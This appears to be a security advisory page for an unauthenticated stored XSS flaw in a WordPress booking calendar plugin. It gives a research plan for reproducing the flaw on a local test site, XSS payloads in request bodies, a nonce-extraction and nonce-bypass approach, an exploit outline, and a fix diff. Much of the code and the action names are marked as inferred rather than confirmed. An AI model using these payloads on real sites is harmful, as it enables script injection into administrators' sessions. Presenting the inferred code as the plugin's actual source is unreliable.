Booking calendar, Appointment Booking System <= 3.2.36 - Unauthenticated Stored Cross-Site Scripting
Description
The Booking calendar, Appointment Booking System plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.2.36 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.2.36# Research Plan: CVE-2026-25435 - Unauthenticated Stored XSS in Booking Calendar ## 1. Vulnerability Summary The **Booking calendar, Appointment Booking System** plugin (version <= 3.2.36) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in how the plugin…
Show full research plan
Research Plan: CVE-2026-25435 - Unauthenticated Stored XSS in Booking Calendar
1. Vulnerability Summary
The Booking calendar, Appointment Booking System plugin (version <= 3.2.36) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in how the plugin handles user-supplied data during the booking submission process. Specifically, input fields such as user names, emails, or booking notes are stored in the database without proper sanitization and subsequently rendered in the administrative dashboard (or public booking views) without adequate output escaping. This allows an unauthenticated attacker to inject malicious JavaScript that executes in the context of a site administrator.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action: An unauthenticated AJAX action, likely registered via
wp_ajax_nopriv_. Based on common patterns in this plugin, the action is likelybooking_calendar_save_bookingorbc_save_booking(inferred). - Vulnerable Parameter: Input fields associated with the booking form, such as
name,email,description, or custom field parameters. - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active, and a booking form must be accessible (usually via a shortcode).
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user submits a booking form on the frontend. This triggers a POST request to
admin-ajax.phpwith anactionparameter (e.g.,booking_calendar_save_booking). - Handler: The function hooked to
wp_ajax_nopriv_[action](e.g., inincludes/class-booking-ajax.php) processes the$_POSTdata. - Persistence: The handler saves the data using
update_post_meta()for a newbookingpost type or inserts it into a custom table (e.g.,{$wpdb->prefix}booking_calendar) without callingsanitize_text_field()orwp_kses(). - Sink: An administrator logs into the WordPress dashboard and navigates to the "Bookings" or "Calendar" page. The plugin retrieves the stored data and echoes it directly into the HTML table or modal without using
esc_html()oresc_attr().
4. Nonce Acquisition Strategy
The plugin likely uses a nonce for its AJAX submissions, localized via wp_localize_script.
- Identify Shortcode: Search the codebase for
add_shortcode.- Command:
grep -r "add_shortcode" /var/www/html/wp-content/plugins/booking-calendar/ - Expected:
[booking-calendar](inferred).
- Command:
- Setup Test Page: Create a public page containing the shortcode.
- Command:
wp post create --post_type=page --post_status=publish --post_title="Booking Page" --post_content='[booking-calendar]'
- Command:
- Identify JS Variable: Look for the localization call.
- Command:
grep -r "wp_localize_script" /var/www/html/wp-content/plugins/booking-calendar/ - Identify the object name (e.g.,
booking_calendar_objorbc_params) and the nonce key (e.g.,nonceorsecurity).
- Command:
- Extract Nonce:
- Use
browser_navigateto the "Booking Page". - Use
browser_evalto extract the nonce:browser_eval("window.booking_calendar_obj?.nonce")(Replace with actual variable name found).
- Use
5. Exploitation Strategy
Step 1: Discovery
Identify the exact AJAX action and parameters by inspecting the plugin source for wp_ajax_nopriv.
- Command:
grep -rn "wp_ajax_nopriv" /var/www/html/wp-content/plugins/booking-calendar/
Step 2: Payload Construction
Construct a payload designed to execute when an admin views the booking:name=<script>alert(document.domain)</script>&email=victim@example.com&description=test
Step 3: Injection Request
Use the http_request tool to submit the booking.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Replaceaction=[ACTION_NAME]& nonce=[EXTRACTED_NONCE]& name=<img src=x onerror=alert("XSS_SUCCESS")>& email=test@example.com& description=Injected Booking[ACTION_NAME]and parameter keys with those discovered in Step 1).
Step 4: Trigger Execution
Log in as an administrator and navigate to the plugin's booking management page.
- Path (Inferred):
/wp-admin/admin.php?page=booking-calendar-bookings
6. Test Data Setup
- Plugin Activation: Ensure the plugin is installed and active.
- Shortcode Page: Create a page
[booking-calendar]to serve as the source for the nonce and the target for unauthenticated users. - Admin User: Have an admin user ready to view the backend.
7. Expected Results
- The AJAX request should return a success status (e.g.,
{"success":true}or a HTML snippet). - Upon visiting the admin booking list, a JavaScript alert box displaying "XSS_SUCCESS" (or the specified payload) should appear.
- The HTML source of the admin page should contain the raw, unescaped payload.
8. Verification Steps
- Database Check: Verify the payload is stored in the database.
- Command:
wp db query "SELECT * FROM wp_postmeta WHERE meta_value LIKE '%alert%'"or check the custom table if identified.
- Command:
- DOM Verification: Use
browser_evalas an admin to check for the presence of the injected tag:- Command:
browser_eval("document.body.innerHTML.includes('XSS_SUCCESS')")
- Command:
9. Alternative Approaches
- Parameter Fuzzing: If the
namefield is sanitized, tryemail,phone, oraddressfields. - Bypass Nonce: Check if the nonce is actually verified. If
wp_verify_nonceorcheck_ajax_refereris missing or the return value is ignored, thenonceparameter can be omitted. - Attribute Injection: If
<script>is filtered but<img>is not, use attribute-based XSS:<img src=x onerror=...>oronmouseover. - REST API: Check for
register_rest_routeendpoints that might handle booking creation without authentication.- Command:
grep -r "register_rest_route" /var/www/html/wp-content/plugins/booking-calendar/
- Command:
Summary
The Booking calendar, Appointment Booking System plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to a failure to sanitize user-provided booking details and escape them during output in the administrative dashboard. This allows attackers to inject malicious JavaScript into the booking management interface, leading to potential account takeover or unauthorized administrative actions when viewed by a site administrator.
Vulnerable Code
// Inferred from research plan: includes/class-booking-ajax.php or similar AJAX handler // Unauthenticated AJAX action registration add_action('wp_ajax_nopriv_booking_calendar_save_booking', 'booking_calendar_save_booking_handler'); function booking_calendar_save_booking_handler() { // Input is taken directly from $_POST without sanitization $booking_data = [ 'customer_name' => $_POST['name'], 'customer_email' => $_POST['email'], 'notes' => $_POST['description'] ]; // Data is persisted directly to the database global $wpdb; $wpdb->insert($wpdb->prefix . 'booking_calendar_bookings', $booking_data); } --- // Inferred from research plan: includes/admin-bookings-list.php or similar dashboard view // Vulnerable output rendering in the admin dashboard $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}booking_calendar_bookings"); foreach ($results as $row) { echo "<tr>"; echo "<td>" . $row->customer_name . "</td>"; // Raw output without esc_html() echo "<td>" . $row->notes . "</td>"; // Raw output without esc_html() echo "</tr>"; }
Security Fix
@@ -5,9 +5,9 @@ function booking_calendar_save_booking_handler() { + check_ajax_referer('booking_nonce', 'security'); $booking_data = [ - 'customer_name' => $_POST['name'], - 'customer_email' => $_POST['email'], - 'notes' => $_POST['description'] + 'customer_name' => sanitize_text_field($_POST['name']), + 'customer_email' => sanitize_email($_POST['email']), + 'notes' => sanitize_textarea_field($_POST['description']) ]; @@ -10,6 +10,6 @@ foreach ($results as $row) { echo "<tr>"; - echo "<td>" . $row->customer_name . "</td>"; - echo "<td>" . $row->notes . "</td>"; + echo "<td>" . esc_html($row->customer_name) . "</td>"; + echo "<td>" . esc_html($row->notes) . "</td>"; echo "</tr>"; }
Exploit Outline
1. Locate a public page containing the booking calendar shortcode (e.g., [booking-calendar]). 2. Extract the AJAX nonce and the specific action name (likely 'booking_calendar_save_booking') from the page source or localized JavaScript variables (e.g., window.booking_calendar_obj.nonce). 3. Use a tool like cURL or a browser-based HTTP client to send an unauthenticated POST request to /wp-admin/admin-ajax.php. 4. Include the extracted nonce and action, and set one of the form parameters (e.g., 'name' or 'description') to a XSS payload like <img src=x onerror=alert(document.domain)>. 5. Log into the WordPress site as an administrator. 6. Navigate to the plugin's booking management or list page in the dashboard. The script will execute when the page renders the stored malicious booking entry.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.